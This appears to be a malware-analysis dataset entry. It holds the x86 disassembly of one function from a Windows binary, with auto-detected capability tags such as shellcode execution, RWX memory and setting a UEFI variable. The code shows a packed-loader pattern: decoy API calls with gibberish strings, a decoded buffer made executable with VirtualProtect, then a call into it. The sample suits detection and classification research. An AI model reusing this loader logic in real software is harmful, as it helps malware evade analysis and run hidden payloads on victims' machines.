Function at 0x40af10
Capabilities:
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get geographical location
Get hostname
Set current directory
Set uefi variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40b37b
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x105c
call fcn.0040a960
mov eax, dword [0x819030]
xor eax, esp
mov dword [esp + 0x1058], eax
push ebx
push esi
push edi
mov eax, dword [0x819030]
xor eax, esp
push eax
lea eax, [esp + 0x1070]
mov dword fs:[0], eax
mov ecx, dword [0x2ff9264]
cmp ecx, 0x7c
jne 0x40afac
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x38]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push ebx
lea edx, [esp + 0x68]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [0x2ff9264]
cmp ecx, 0x2d
jne 0x40afae
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
mov ecx, dword [0x2ff9264]
jmp 0x40afae
xor ebx, ebx
mov edx, dword [0x81ad84]
xor eax, eax
mov edi, 0xec58acac
or esi, 0xffffffff
mov edi, edi
cmp eax, 0x1c3
jne 0x40afcd
lea ecx, [edx + 0xa231]
cmp ecx, 0x141
jne 0x40afe1
mov dword [0x81ba18], edi
mov dword [0x81ba1c], esi
inc eax
cmp eax, 0xb9fa618
jl 0x40afc0
mov edi, dword [sym.imp.KERNEL32.dll_FindAtomW]
mov dword [0x2ff9264], ecx
xor esi, esi
cmp esi, 0x562d05
jne 0x40b009
mov eax, dword [0x819f68]
mov dword [0x2ff9268], eax
cmp ecx, 0x3c
jne 0x40b01b
push str.sofosadodicemuberuyigefa
call edi
mov ecx, dword [0x2ff9264]
inc esi
cmp esi, 0x5f6c74
jl 0x40aff7
cmp ecx, 0x110a
jne 0x40b15a
push ebx
mov dword [0x2ff9130], ebx
mov dword [0x2ff9134], ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LockFile]
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x68]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push str.xovocesuwohekibeciran_darefimonuforozajefodiruwehilow_mavadex_tenofabefecolacuhoxubafocat_sucesujeziwonilabu
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea eax, [esp + 0x3c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetCommState]
push ebx
push ebx
call fcn.00401189
push ebx
push ebx
call fcn.004013d7
push 0x30
push 0x81706c
push str._s__c
push 0x81b990
call fcn.00401307
push 4
call fcn.0040165e
add esp, 0x24
cmp eax, ebx
je 0x40b0b9
lea ecx, [esp + 0x1c]
mov dword [eax], ecx
jmp 0x40b0bb
xor eax, eax
mov dword [esp + 0x1c], eax
push ebx
push ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
call fcn.00401189
push ebx
push ebx
call fcn.004013d7
push 0x81706c
push 0x81b990
call fcn.00401307
push ebx
call fcn.004012f0
mov eax, dword [esp + 0x44]
add esp, 0x1c
cmp eax, ebx
je 0x40b13b
mov edi, dword [esp + 0x2c]
cmp eax, edi
je 0x40b132
lea esi, [eax + 0x18]
cmp dword [esi], 8
jb 0x40b115
mov edx, dword [esi - 0x14]
push edx
call fcn.004013cc
add esp, 4
xor eax, eax
mov dword [esi], 7
mov dword [esi - 4], ebx
mov word [esi - 0x14], ax
add esi, 0x1c
lea ecx, [esi - 0x18]
cmp ecx, edi
jne 0x40b104
mov eax, dword [esp + 0x28]
push eax
call fcn.004013cc
add esp, 4
mov edx, dword [esp + 0x1c]
push edx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
call fcn.004013cc
mov ecx, dword [0x2ff9264]
add esp, 4
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor esi, esi
mov dword [0x2ff8f88], eax
cmp dword [0x2ff9264], ebx
jbe 0x40b1c4
mov edi, dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
jmp 0x40b180
mov eax, dword [0x2ff9268]
mov dword [esp + 0x10], eax
mov eax, 0xa231
add dword [esp + 0x10], eax
mov ecx, dword [esp + 0x10]
mov dl, byte [ecx + esi]
mov eax, dword [0x2ff8f88]
mov byte [eax + esi], dl
cmp dword [0x2ff9264], 0x5ab
jne 0x40b1bb
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push str.ronikodadarumahal
call edi
inc esi
cmp esi, dword [0x2ff9264]
jb 0x40b180
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, dword [0x2ff9264]
mov eax, dword [0x2ff8f88]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0040ae80
mov ecx, dword [0x2ff8f88]
xor eax, eax
cmp eax, 0xbd9cb
jne 0x40b203
add ecx, 0
inc eax
cmp eax, 0x15a63d
jl 0x40b1f6
mov ebx, dword [esp + 0x44]
mov edi, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
mov dword [0x2ff8f88], ecx
xor esi, esi
lea ecx, [ecx]
push 0
lea ecx, [esp + 0x868]
push ecx
push 0
call edi
cmp esi, 0x1a01e
jle 0x40b23e
cmp ebx, 0xf5bed7
jne 0x40b247
inc esi
cmp esi, 0x1ece7a52
jl 0x40b220
mov esi, dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
mov dword [esp + 0x10], 0x1e4165
mov ebx, 0x8e46a6f0
cmp dword [0x2ff9264], 0xcc1
jne 0x40b27c
push 0
push 0
push str.kipimebevu
push str.pivejilocehakepuvo_kifalelogubegilefozadozasexul_zimice_jamuzevimibivetaxewirugahutog
call esi
cmp dword [0x2ff9264], 0x7c4
mov dword [0x2ff8f8c], ebx
jne 0x40b294
push 0
push 0
call edi
sub dword [esp + 0x10], 1
jne 0x40b260
mov ecx, dword [esp + 0x1070]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1058]
xor ecx, esp
call fcn.00401069
mov esp, ebp
pop ebp
ret